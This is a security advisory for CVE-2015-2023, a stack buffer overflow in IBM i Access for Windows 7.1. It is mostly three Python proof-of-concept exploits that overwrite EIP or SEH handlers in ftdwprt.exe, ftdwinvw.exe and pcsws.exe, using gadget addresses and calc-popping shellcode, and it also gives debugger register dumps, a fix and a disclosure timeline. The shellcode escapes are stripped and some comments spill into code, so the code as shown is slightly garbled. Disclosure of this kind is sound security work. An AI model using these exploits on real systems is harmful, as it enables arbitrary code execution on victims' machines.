###########################

# IBM i Access For Windows 7.1 Buffer Overflow Vulnerability

###########################

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt



Vendor:
==============
www.ibm.com



Product:
====================================================
IBM i Access for Windows
Release 7.1 of IBM i Access for Windows is affected



Vulnerability Type:
=======================
Stack Buffer Overflow
Arbitrary Code Exec



CVE Reference:
==============
CVE-2015-2023



Vulnerability Details:
=====================
IBM i Access for Windows is vulnerable to a buffer overflow. A local attacker could overflow a
buffer and execute arbitrary code on the Windows PC.

client Access has ability to receive remote commands via "Cwbrxd.exe" service
Ref: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253

"Incoming remote command was designed for running non-interactive commands and programs on a PC",
therefore a remote attacker could execute arbitrary code on the system.

Remediation/Fixes
The issue can be fixed by obtaining and applying the Service Pack SI57907.

The buffer overflow vulnerability can be remediated by applying Service
Pack SI57907.

The Service Pack is available at:
http://www-03.ibm.com/systems/power/software/i/access/windows_sp.html

Workarounds and Mitigations
None known

CVSS Base Score: 4.4
CVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the
current score
CVSS Environmental Score*: Undefined
CVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P)


Exploit code(s):
==============================================================================

Three python POC scriptz follow that exploitz various component of IBM i Access.


1) Exploits "ftdwprt.exe", direct EIP overwrite

import struct,os,subprocess

pgm="C:\Program Files (x86)\IBM\Client Access\AFPViewr\ftdwprt.exe "

#shellcode to pop calc.exe Windows 7 SP1
sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B"
"x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B"
"x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31"
"xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA"
"x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14"
"x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65"
"x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC")


# use jmp or call esp in FTDBT.dll under AFPviewer for Client Access
# we find ---> 0x638091df : jmp esp | {PAGE_EXECUTE_READ} [FTDBDT.dll]
ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00
(C:Program Files (x86)IBMClient AccessAFPViewrFTDBDT.dll)

rp=struct.pack('<L', 0x638091FB)
payload="A" * 1043+rp+sc+"x90"*20
subprocess.Popen([pgm, payload], shell=False) #<----1043 bytes outside of
debugger use 1044 in debugger.


==================================


2) Exploits "ftdwinvw.exe", direct EIP overwrite

import struct,os,subprocess

pgm="C:\Program Files (x86)\IBM\Client Access\AFPViewr\ftdwinvw.exe "


#shellcode to pop calc.exe Windows 7 SP1
sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B"
"x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B"
"x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31"
"xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA"
"x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14"
"x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65"
"x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC")


#payload="A"*1044+"RRRR"+"x90"*10+"B"*100 #Test EIP

rp=struct.pack('<L', 0x638091fb) #CALL ESP (0x638091fb) FTDBDT.dll
payload="A"*1044+rp+"x90"*10+sc #KABOOM!!!
subprocess.Popen([pgm, payload], shell=False)

registers dump...

EAX 0000040B
ECX 0044AAB8 ASCII "AAAAAAAAA...
EDX 7F17E09F
EBX 00000000
ESP 0018E5B8
EBP 41414141
ESI 005A9FB9 ASCII "AAAAAAAAA...
EDI 0044E94C ftdwinvw.0044E94C
EIP 52525252 <----------BOOM!

C 0 ES 002B 32bit 0(FFFFFFFF)
P 0 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1



3) Exploits "PCSWS.exe", structured exeception handler (SEH) overwrite

pgm="C:\Program Files (x86)\IBM\Client Access\Emulator\pcsws.exe "


#ctrl EIP at 1340 bytes, ESP points to RETURN to ntdll.770BB499 so we will
jump 8 bytes to our SC
#as ESP points to our SC 8 bytes after!

jmp="xEBx06"+"x90"*2
#payload="A"*1336+"BBBB" #Test

#shellcode to pop calc.exe Windows 7 SP1
sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B"
"x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B"
"x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31"
"xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA"
"x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14"
"x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65"
"x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC")


rp=struct.pack('<L', 0x678c1e49) #pop pop ret 0x67952486
PCSW32X.dll
payload="A"*1332+jmp+rp+sc+"x90"*10 #KABOOOOOOOOOOOOOOOOOOM!
subprocess.Popen([pgm, payload], shell=False)

register dump...

0018FF6C 41414141 AAAA
0018FF70 41414141 AAAA
0018FF74 41414141 AAAA
0018FF78 41414141 AAAA Pointer to next SEH record
0018FF7C 42424242 BBBB SE handler
0018FF80 004C0400 .L. pcsws.004C0400


Disclosure Timeline:
====================================
Vendor Notification: May 21, 2015
November 18, 2015 : Public Disclosure



Exploitation Technique:
=======================
Local / Remote



Severity Level:
================
High



Description:
=================================================================================
Request Method(s): [+] local or remote commands via "Cwbrxd.exe"
service


Vulnerable Product: [+] IBM i Access for Windows Release 7.1


Affected Area(s): [+] OS



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2015-11-23]

###########################